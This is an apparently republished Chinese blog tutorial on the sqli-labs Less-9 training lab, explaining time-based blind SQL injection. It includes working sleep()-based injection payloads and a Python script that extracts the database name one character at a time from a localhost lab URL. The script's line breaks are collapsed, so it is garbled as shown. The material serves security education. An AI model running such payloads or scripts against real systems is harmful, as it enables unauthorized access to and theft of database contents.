当前位置: 首页 > news >正文

sqli-labs第九关—‘时间盲注

一·:判断闭合类型

先按照之前的判断方式判断,发现无论输入什么都显示You are in..........

可以考虑使用时间盲注:

二:时间盲注Time-based Blind:

1.解释:

通过时间延迟判断结果

2.核心原理:

利用时间函数sleep(),构造条件语句

  • 如果条件为真 → 延迟N秒 → 页面响应变慢
  • 如果条件为假 → 不延迟 → 页面快速响应

3.关键函数:

sleep(n):让数据库等待n秒

if(条件,真时执行,假时执行‘’):判断

substr(str,start,length):substr("hello",1,1)返回h

ascii(char):ascii('a')=97

4.尝试判断注入点:

构造一个会延迟的payload,测试是否延迟

?id=1' and sleep(5)--+

页面响应5秒,存在时间盲注~

三:开始注入

1.爆库名长度

?id=1' and if(length(database())=8,sleep(5),0)--+

响应五秒,长度正确,数据库名长度为8

2.ascii码爆库名

-- 第一个字符是s
1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0)--+
-- 第二个字符是e
1' and if(ascii(substr(database(),2,1))=101, sleep(5), 0)--+
...

爆数据库名为security

3,自动化脚本

import requests
#导入requests库
url = "http://localhost/sqli-labs/Less-9/?id=1'"
#设置目标URL,包含SQL注入点
charset = "abcdefghijklmnopqrstuvwxyz" 
#设置要猜解的字符集,这里只猜解小写字母a-z
database = ""
#初始化字符串,存储数据库名称
for i in range(1, 9):  # 已知库名长度8#外层循环遍历每个位置for char in charset:#内层循环遍历字符集payload = f" and if(ascii(substr(database(),{i},1))={ord(char)},sleep(5),0)-- -"#构造payload,使用substr函数截取数据库名称的第i个字符# #使用ascii函数将其转换为ASCII码# 然后与字符char的ASCII码进行比较# 如果相等则执行sleep(5)函数,否则返回0full_url = url + payload#将payload拼接到URL后面try:response = requests.get(full_url, timeout=10)if response.elapsed.seconds >= 5:#响应时间大于等于五秒,说明猜对了,加入到数据库名中database += charprint(f"当前库名:{database}")#阶段输出,方便查看进度breakexcept requests.exceptions.Timeout:#如果请求超过10秒,说明猜错了,继续猜下一个字符print("请求超时,可能触发延迟")continue
print("最终库名:", database)

运行方式参考前一关解说~~

 ❀❀❀ 完结撒花!! ❀❀❀

http://www.xdnf.cn/news/539785.html

相关文章:

  • 虚拟机的三个核心类加载器
  • 注解(Annotation)概述
  • web应用技术第5次课-springboot入门
  • 中科固源Wisdom平台发现NASA核心飞行控制系统(cFS)通信协议健壮性缺陷!
  • 九、异形窗口
  • 有关Groutine无限创建的分析
  • YOLO模型使用jupyterlab的方式进行预测/推理(示例)
  • Linux配置SSH密钥认证
  • 程序化 SEO 全攻略:如何高效提升网站排名?
  • 【python】返回所有匹配项的第一个元素、第二个元素。。。
  • 龙芯中科2024年度业绩说明会:企稳向好,布局未来!
  • 贵州某建筑物挡墙自动化监测
  • Dolphinscheduler执行工作流失败,后台报duplicate key错误
  • 如何通过生成式人工智能认证(GAI认证)提升自己的技能水平?
  • C++经典库介绍
  • PH热榜 | 2025-05-18
  • 微服务项目->在线oj系统(Java版 - 5)
  • 《Building effective agents》学习总结
  • C++中聚合类(Aggregate Class)知识详解和注意事项
  • 深入理解动态规划:从斐波那契数列到最优子结构
  • YoloV9改进策略:卷积篇|风车卷积|即插即用
  • 【Python-Day 15】深入探索 Python 字典 (下):常用方法、遍历、推导式与嵌套实战
  • C++容器适配器
  • DAPO:用于指令微调的直接偏好优化解读
  • 【idea 报错:java: 非法字符: ‘\ufeff‘】
  • 第二十一次博客打卡
  • 【C语言内存函数】--memcpy和memmove的使用和模拟实现,memset函数的使用,memcmp函数的使用
  • 1 asyncio模块
  • Ubuntu——配置静态IP
  • 基于Transformers与深度学习的微博评论情感分析及AI自动回复系统